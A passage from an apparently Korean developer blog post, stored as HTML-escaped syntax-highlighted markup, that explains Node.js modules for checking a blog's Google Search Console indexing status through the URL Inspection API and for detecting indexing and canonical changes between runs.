      &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; Promise&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;children&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetchXml&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;loc&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; urls &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; doc &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; urlSets&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; entry &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;concat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;doc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;urlset&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;url &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;entry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;loc&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; urls&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;entry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;loc&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; Array&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;urls&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;lib/gsc.js — URL Inspection API&lt;/h3&gt;
&lt;p&gt;핵심은 &lt;code class=&quot;language-text&quot;&gt;urlInspection.index.inspect&lt;/code&gt; 호출.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; google &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;googleapis&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;serviceAccountKey&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; raw &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; serviceAccountKey&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; credentials

  &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    credentials &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;raw&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    credentials &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Buffer&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;raw&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;base64&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; auth &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;google&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;GoogleAuth&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    credentials&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;scopes&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;https://www.googleapis.com/auth/webmasters.readonly&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; google&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;searchconsole&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;v1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; auth &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;inspectUrl&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;client&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; siteUrl&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; inspectionUrl &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; res &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;urlInspection&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;inspect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;requestBody&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; siteUrl&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; inspectionUrl&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;languageCode&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ko&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; idx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;inspectionResult&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;indexStatusResult &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; inspectionUrl&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;verdict&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;verdict&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;coverageState&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;coverageState&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;lastCrawlTime&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;lastCrawlTime&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;googleCanonical&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;googleCanonical&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;userCanonical&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;userCanonical&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;중요:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;siteUrl&lt;/code&gt; 형식이 속성 유형에 따라 다릅니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Domain property&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;sc-domain:blog.javapark.kr&lt;/code&gt; (권장, 하위 모든 경로 자동 커버)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;URL prefix property&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;https://blog.javapark.kr/&lt;/code&gt; (프로토콜·www 구분됨)&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3&gt;lib/diff.js — 변화 감지&lt;/h3&gt;
&lt;p&gt;단순하지만 핵심 로직. 이전 실행의 URL별 상태와 비교해서 &lt;strong&gt;새로 인덱싱된 것&lt;/strong&gt;, &lt;strong&gt;인덱스에서 제거된 것&lt;/strong&gt;, &lt;strong&gt;canonical 불일치&lt;/strong&gt;를 찾습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;INDEXED_STATES&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&quot;Submitted and indexed&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&quot;Indexed, not submitted in sitemap&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;diffResults&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;previous &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; current &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; prev &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;previous&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; newlyIndexed &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; newlyDeindexed &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; canonicalMismatch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; curr &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; current&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; prevEntry &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; prev&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;curr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; currIndexed &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;INDEXED_STATES&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;has&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;curr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;coverageState &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; prevIndexed &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; prevEntry
      &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;INDEXED_STATES&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;has&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;prevEntry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;coverageState &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;currIndexed &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;prevIndexed&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; newlyIndexed&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;curr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;currIndexed &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; prevIndexed&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; newlyDeindexed&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;curr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      curr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;googleCanonical &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
      curr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;userCanonical &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
      curr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;googleCanonical &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; curr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;userCanonical
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      canonicalMismatch&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;curr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; indexed &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; current&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt;
    &lt;span class=&quot;token constant&quot;&gt;INDEXED_STATES&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;has&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;coverageState &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    newlyIndexed&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    newlyDeindexed&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    canonicalMismatch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;total&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; current&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    indexed&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;rate&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
      current&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;indexed &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; current&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;lib/telegram.js — HTML 메시지&lt;/h3&gt;
